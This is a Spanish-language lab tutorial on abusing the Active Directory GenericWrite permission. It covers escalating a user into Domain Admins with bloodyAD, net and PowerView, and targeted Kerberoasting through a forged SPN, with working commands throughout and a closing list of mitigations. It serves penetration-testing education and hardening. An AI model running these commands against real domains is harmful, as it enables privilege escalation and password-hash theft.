Abusando del permiso GenericWrite
El permiso GenericWrite permite escribir en cualquier atributo no protegido de un objeto de Active Directory. Entre esos atributos se encuentran algunos especialmente sensibles, como member (para modificar membresías de grupos) o servicePrincipalName (para registrar o alterar SPNs en cuentas de usuario o servicio).
En la práctica, este permiso habilita escenarios de movimiento lateral y compromiso del dominio, por ejemplo agregarte a grupos privilegiados, generar SPNs para ataques de Kerberoasting/S4U, o modificar scripts de logon para ejecutar payloads en los equipos del dominio.
GenericWrite sobre un grupo
Configuración del laboratorio
Creación de cuentas
Lo primero que haremos será crear 3 cuentas de usuario las cuales usuaremos para nuestro laboratorio.
net user sam Password123! /add /domain
net user bob Password123! /add /domain
net user joe Password123! /add /domain

Asignar el privilegio “GenericWrite” al usuario sam
El siguiente paso, es asignar el privilegio GenericWrite al usuario sam.
- Accedemos a
Active Directory Users and Computersen el Domain Controller

- Habilitamos las
Advanced Features(caracteristicas avanzadas) haciendo clic enView->Advanced Features.

- A continuación, accedemos a las propiedades del grupo
Domain Adminshaciendo clic derecho sobre el grupo.

- Navegamos a la pestaña de
Securityy hacemos clic enAdd.

- En el cuadro “Enter the object names to select”, escribimos sam y hacemos clic en Check Name y por último hacemos clic en
Ok.

- En la sección de permisos, marcamos la casilla de Write. Al marcar este permiso, notamos que también se habilita el permiso
Add/remove self as member.

Tras aplicar la configuración, sam ahora tiene derechos de GenericWrite y AddSelf sobre el grupo Domain Admins . Por lo tanto , puede agregarse a sí mismo (o a cualquier principal que controle) al grupo.
Enumeración
Ahora que tenemos configurado nuestro laboratorio, empecemos realizando una enumeración. Para lo cual, usaremos la herramienta BloodHound.
bloodhound-python -d zonahacking.local -ns 192.168.56.100 -u sam -p Password123! --zip -c All


Podemos observar en el gráfico anterior, que efectivamente el usuario sam tiene los privilegios GenericWrite y AddSelf sobre el grupo Domain Admins.
Explotación
BloodyAD
Podemos abusar de este privilegio agregando al usuario sam al grupo Domain Admins, para lo cual podemos utilizar la herramienta bloodyAD.
bloodyAD --host 192.168.56.100 -d zonahacking.local -u sam -p Password123! add groupMember "Domain Admins" sam

Linux - net rpc
De forma alternativa, también podemos utilizar la herramienta net de Linux.
net rpc group addmem "Domain Admins" sam -U zonahacking.local/sam%'Password123!' -S 192.168.56.100
![]()
Windows - Comando net
También, si tenemos acceso de forma remota al DC, podemos utilizar el comando net de Windows.
net group "Domain Admins" sam /add /domain

Confirmamos que el usuario se agrego de forma correcta al grupo.
net user sam /domain

Windows - PowerShell - PowerView
Otra forma que podemos utilizar para agregar al usuario al grupo, es usando PowerShell donde podemos hacer uso del módulo Active Directory o del módulo de PowerView.
powershell -ep bypass
Import-Module .\PowerView.ps1
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('zonahacking.local\sam', $SecPassword)
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'sam' -Credential $Cred

GenericWrite sobre otro usuario
Configuración del laboratorio
Asignamos el privilegio GeneriWrite al usuario joe sobre el usuario bob.
Accedemos a las propiedades del usuario bob desde la sección de Active Directory Users and Computers en el Domain Controller.

- En la pestaña
Securityhacemos clic enAdd - En el cuadro “Enter the object names to select”, escribimos joe y hacemos clic en Check Names y luego clic en
Ok.


- Seleccione el usuario joe y en la sección de permisos, marcamos la casilla Write
- Por último aplicamos la configuración haciendo clic en
Applyy luego enOk.

De esta forma, el usuario joe tiene el permiso GenericWrite sobre el usuario bob.
Enumeración
BloodHound
Realizamos nuevamente una enumeración con Bloodhound.
bloodhound-python -d zonahacking.local -ns 192.168.56.100 -u joe -p Password123! --zip -c All

Del gráfico anterior se puede observar que el usuario joe posee el privilegio GenericWrite sobre el usuario bob.
impacket-dacledit
Otra forma de enumerar es utilizando el script dacledit.py en este caso de la suite de Impacket
impacket-dacledit zonahacking.local/joe:Password123! -dc-ip 192.168.56.100 -dc-host DC01 -action read -target bob | grep 'joe' -B 4

Explotación
Linux Kerberoasting - targetedKerberoast.py
Este script realiza dos pasos. En primer lugar, asigna un SPN al usuario y luego realiza un Kerberoasting obteniendo el hash correspondiente el cual podemos crackear de forma offline usando herramientas como hashcat o jonh.
python3 targetedKerberoast.py --dc-ip 192.168.56.100 -d zonahacking.local -u joe -p Password123! -v

Windows Kerberoasting - PowerShell - PowerView
En caso de que el usuario tenga acceso a la máquina Windows, esto se puede lograr con los cmdlets Set-DomainObject y Get-DomainSPNTicket del módulo PowerView.
powershell -ep bypass
Import-Module .\PowerView.ps1
Set-DomainObject -Identity 'bob' -Set @{serviceprincipalname='fake/spn'}
Get-DomainUser 'bob' | Select serviceprincipalname
$User = Get-DomainUser 'bob'
$User | Get-DomainSPNTicket

Mitgaciones
En cuanto a medidas para mitigar el abuso de este permiso existen varias que podemos considerar tener en cuenta, entre ellas:
- Eliminar delegaciones execisavas: Revisar permisos asignados por delegación y remover
GenericWritecuando no es necesario - Aplicar principio de mínimo privilegio: Remplazar
GenericWritepor atributos granulares como puede serWritePropertycuando sólo se necesite modificar campos específicos. - Limitar modificacion de SPNs: Restringir quién puede modificar
servicePrincipalNamepara evitar Kerberoasting/S4U. - Fortalecer el uso de Service Accounts: Usar
gMSA, rotar contraseñas, impedir logon interactivo y evitar permisos de escritura en objetos AD. - Auditar permisos y ACLs periódicamente: Revisar objetos sensibles (
Users,Admins,Service Accounts,Computers,Groups) en busca deGenericWrite. - Implementar modelos de tiering en AD : Separar cuentas administrativas y de servicio para reducir paths hacia Domain Admins.
Y así cerramos el lab.
Ahora ya sabés cómo configurar y abusar GenericWrite paso a paso, y qué cosas tener en cuenta para no regalar este permiso en un AD real.
Gracias por leer - ¡Happy Hacking!